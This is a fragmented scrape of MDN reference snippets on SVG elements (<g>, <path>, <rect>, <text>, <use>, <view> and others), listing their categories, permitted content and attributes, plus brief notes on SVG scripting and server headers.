level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesnonepermitted
contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<foreignobject>' in that specification.
<g> - SVG: Scalable Vector Graphics
a-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer element, structural elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment ...
<glyph> - SVG: Scalable Vector Graphics
usage context categoriestext
content elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> attributes global attributes core attributes presentation attributes class style specific attributes d horiz-adv-x vert-origin-x vert-origin-y vert-adv-y unicode glyph-name orientation arabic-form lang dom interface this element implements the svgglyphelement interface.
<glyphRef> - SVG: Scalable Vector Graphics
usage context categoriestext
content elementpermitted
contentempty attributes global attributes core attributes » presentation attributes » xlink attributes » class style specific attributes x y dx dy glyphref format xlink:href dom interface this element implements the svgglyphrefelement interface.
<hatch> - SVG: Scalable Vector Graphics
usage context categoriesnever-rendered element, paint server elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elements<hatchpath>, <script>, <style> attributes global attributes core attributes global event attributes presentation attributes style attributes specific attributes x y pitch rotate hatchunits hatch
contentunits transform href dom interface this element implements the svghatchelement interfac...
<hatchpath> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted
contentany number of the following elements, in any order:animation elementsdescriptive elements<script>, <style> attributes global attributes core attributes global event attributes presentation attributes style attributes specific attributes d offset dom interface this element implements the svghatchpathelement interface.
<hkern> - SVG: Scalable Vector Graphics
usage context categoriesfont elementpermitted
contentempty attributes global attributes core attributes specific attributes u1 g1 u2 g2 k dom interface this element implements the svghkernelement interface.
<image> - SVG: Scalable Vector Graphics
usage context categoriesgraphics element, graphics referencing elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elements attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes xlink attributes class style externalresourcesrequired transform specific attributes x: positions the image horizontally from the origin.
<line> - SVG: Scalable Vector Graphics
ia-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<line>' in that specification.
<linearGradient> - SVG: Scalable Vector Graphics
color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes xlink:href, xlink:title usage notes categoriesgradient elementpermitted
contentany number of the following elements, in any order:descriptive elements<animate>, <animatetransform>, <set>, <stop> specifications specification status comment scalable vector graphics (svg) 2the definition of '<lineargradient>' in that specification.
<mpath> - SVG: Scalable Vector Graphics
usage context categoriesanimation elementpermitted
contentany number of the following elements, in any order:descriptive elements attributes global attributes core attributes » xlink attributes » externalresourcesrequired specific attributes xlink:href dom interface this element implements the svgmpathelement interface.
<path> - SVG: Scalable Vector Graphics
l, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, shape elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment svg pathsthe definition of '<path>' in that specification.
<polygon> - SVG: Scalable Vector Graphics
ia-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<polygon>' in that specification.
<polyline> - SVG: Scalable Vector Graphics
ia-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<polyline>' in that specification.
<radialGradient> - SVG: Scalable Vector Graphics
color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes xlink:href, xlink:title usage notes categoriesgradient elementpermitted
contentany number of the following elements, in any order:descriptive elements<animate>, <animatetransform>, <set>, <stop> specifications specification status comment scalable vector graphics (svg) 2the definition of '<radialgradient>' in that specification.
<rect> - SVG: Scalable Vector Graphics
ia-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<rect>' in that specification.
<set> - SVG: Scalable Vector Graphics
end, min, max, restart, repeatcount, repeatdur, fill other animation attributes most notably: attributename animation event attributes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesanimation elementpermitted
contentany number of the following elements, in any order:descriptive elements specifications specification status comment svg animations level 2the definition of '<set>' in that specification.
<stop> - SVG: Scalable Vector Graphics
value type: <opacity>; default value: 1; animatable: yes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes presentation attributes most notably: color, display, stop-color, stop-opacity, visibility usage notes categoriesgradient elementpermitted
contentany number of the following elements, in any order:<animate>, <animatecolor>, <set> specifications specification status comment scalable vector graphics (svg) 2the definition of '<stop>' in that specification.
<symbol> - SVG: Scalable Vector Graphics
a-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer element, structural elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> note: a <symbol> element itself is not meant to be rendered.
<text> - SVG: Scalable Vector Graphics
ia-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, text
content elementpermitted
contentcharacter data and any number of the following elements, in any order:animation elementsdescriptive elementstext
content elements<a> specifications specification status comment scalable vector graphics (svg) 2the definition of '<text>' in that specification.
<textPath> - SVG: Scalable Vector Graphics
-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role xlink attributes xlink:title usage notes categoriestext
content element, text
content child elementpermitted
contentcharacter data and any number of the following elements, in any order:descriptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspan> specifications specification status comment scalable vector graphics (svg) 2the definition of '<textpath>' in that specification.
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
cle</title> </circle> <rect x="11" y="1" width="8" height="8"> <title>i'm a square</title> </rect> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted
contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<title>' in that specification.
<tspan> - SVG: Scalable Vector Graphics
by, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriestext
content element, text
content child elementpermitted
contentcharacter data and any number of the following elements, in any order:descriptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspan> specifications specification status comment scalable vector graphics (svg) 2the definition of '<tspan>' in that specification.
<use> - SVG: Scalable Vector Graphics
eholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role xlink attributes xlink:href, xlink:title usage notes categoriesgraphics element, graphics referencing element, structural elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<use>' in that specification.
<view> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted
contentany number of the following elements, in any order:descriptive elements attributes global attributes aria attributes » core attributes » global event attributes » externalresourcesrequired specific attributes viewbox preserveaspectratio zoomandpan viewtarget example svg <svg width="600" height="200" viewbox="0 0 600 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <radialgradient id="gradient"> <stop offset="0%" stop-color="#8cffa0" /> <stop offset="100%" stop-color="#8ca0ff" /> </radialgradient> </defs> <circle r="50" cx="180" cy="50" style="fill:url(#gradient)"/> <view...
<vkern> - SVG: Scalable Vector Graphics
usage context categoriesfont elementpermitted
contentempty attributes global attributes core attributes specific attributes u1 g1 u2 g2 k dom interface this element implements the svgvkernelement interface.
SVG element reference - SVG: Scalable Vector Graphics
ern>, <radialgradient>, <solidcolor> renderable elements <a>, <circle>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <mesh>, <path>, <polygon>, <polyline>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, <unknown>, <use> shape elements <circle>, <ellipse>, <line>, <mesh>, <path>, <polygon>, <polyline>, <rect> structural elements <defs>, <g>, <svg>, <symbol>, <use> text
content elements <altglyph>, <altglyphdef>, <altglyphitem>, <glyph>, <glyphref>, <textpath>, <text>, <tref>, <tspan> text
content child elements <altglyph>, <textpath>, <tref>, <tspan> uncategorized elements <clippath>, <color-profile>, <cursor>, <filter>, <foreignobject>, <hatchpath>, <meshpatch>, <meshrow>, <script>, <style>, <view> obsolete and deprecated elements warning: these are old svg el...
Scripting - SVG: Scalable Vector Graphics
the best way to get access to the document representing an svg document is to look at htmliframeelement.
contentdocument (if the document is presented in an <iframe>) or htmlobjectelement.
contentdocument (if the document is presented in an <object> element), like this: var svgdoc = document.getelementbyid("iframe_element").
contentdocument; in addition, the <iframe>, <embed>, and <object> elements offer a method, getsvgdocument(), which returns the xmldocument representing the element's embedded svg or nul...
Getting started - SVG: Scalable Vector Graphics
for normal svg files, servers should send the http headers:
content-type: image/svg+xml vary: accept-encoding for gzip-compressed svg files, servers should send the http headers:
content-type: image/svg+xml
content-encoding: gzip vary: accept-encoding you can check that your server is sending the correct http headers with your svg files by using the network monitor panel or a site such as websniffer.cc.
SVG Tutorial - SVG: Scalable Vector Graphics
introducing svg from scratch introduction getting started positions basic shapes paths fills and strokes gradients patterns texts basic transformations clipping and masking other
content in svg filter effects svg fonts svg image tag tools for svg svg and css the following topics are more advanced and hence should get their own tutorials.